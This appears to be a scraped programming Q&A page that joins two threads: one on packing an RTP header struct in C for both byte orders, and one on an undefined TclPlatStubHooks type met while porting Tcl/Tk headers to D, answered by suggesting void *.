#elif G_BYTE_ORDER == G_BIG_ENDIAN
unsigned int version:2;
unsigned int P:1; /* padding flag */
unsigned int X:1; /* X field */
unsigned int CC:4; /* CC field*/
#else
#error "G_BYTE_ORDER should be big or little endian."
#endif
//second byte
#if G_BYTE_ORDER == G_LITTLE_ENDIAN
unsigned int PT:7; /* PT field */
unsigned int M:1; /* M field */
#elif G_BYTE_ORDER == G_BIG_ENDIAN
unsigned int M:1; /* M field */
unsigned int PT:7; /* PT field */
#else
#error "G_BYTE_ORDER should be big or little endian."
#endif
guint16 seq_num; /* length of the recovery */
guint32 TS; /* Timestamp */
guint32 ssrc;
} RTPHeader; //12 bytes
STATIC_ASSERT (sizeof (RTPHeader) == 12, "RTPHeader size doesn't seem to be cool.");
#ifdef __WIN32__
#pragma pack(pop)
#undef PACKED
#else
#undef PACKED
#endif
The version number must be 2 and then if you write to the bytes with this struct, like this:
char buffer[1400];
RTPHeader *rtph = (RTPHeader*) buffer;
rtph->version = 2;
then theoretically it would be ok.
I'm porting tcl/tk C headers to D and i've run into a type that doesn't seem to be defined anywhere. Inside the file tclPlatDecls.h there is the following definition:
typedef struct TclPlatStubs {
int magic;
struct TclPlatStubHooks *hooks;
#ifdef __WIN32__ /* WIN */
TCHAR * (*tcl_WinUtfToTChar) (CONST char *str, int len, Tcl_DString *dsPtr); /* 0 */
char * (*tcl_WinTCharToUtf) (CONST TCHAR *str, int len, Tcl_DString *dsPtr); /* 1 */
#endif /* WIN */
#ifdef MAC_OSX_TCL /* MACOSX */
int (*tcl_MacOSXOpenBundleResources) (Tcl_Interp *interp, CONST char *bundleName, int hasResourceFile, int maxPathLen, char *libraryPath); /* 0 */
int (*tcl_MacOSXOpenVersionedBundleResources) (Tcl_Interp *interp, CONST char *bundleName, CONST char *bundleVersion, int hasResourceFile, int maxPathLen, char *libraryPath); /* 1 */
#endif /* MACOSX */
} TclPlatStubs;
I can't find the definition of TclPlatStubHooks. Any idea where this is? I've grep'ed the entire code base and there is no definition anywhere. Even searching on the net yields no results.
For what it's worth, I'll confirm your grep is working, I found only that one reference to it as well, in versions 8.5.15 and 8.4.20.
What may be of interest is that in 8.6.1, the definition changes to void * as seen below.
typedef struct TclPlatStubs {
int magic;
void *hooks;
#if defined(__WIN32__) || defined(__CYGWIN__) /* WIN */
TCHAR * (*tcl_WinUtfToTChar) (const char *str, int len, Tcl_DString *dsPtr); /* 0 */
char * (*tcl_WinTCharToUtf) (const TCHAR *str, int len, Tcl_DString *dsPtr); /* 1 */
#endif /* WIN */
#ifdef MAC_OSX_TCL /* MACOSX */
int (*tcl_MacOSXOpenBundleResources) (Tcl_Interp *interp, const char *bundleName, int hasResourceFile, int maxPathLen, char *libraryPath); /* 0 */
int (*tcl_MacOSXOpenVersionedBundleResources) (Tcl_Interp *interp, const char *bundleName, const char *bundleVersion, int hasResourceFile, int maxPathLen, char *libraryPath); /* 1 */
#endif /* MACOSX */
} TclPlatStubs;
Maybe you could get away with treating it as a void *?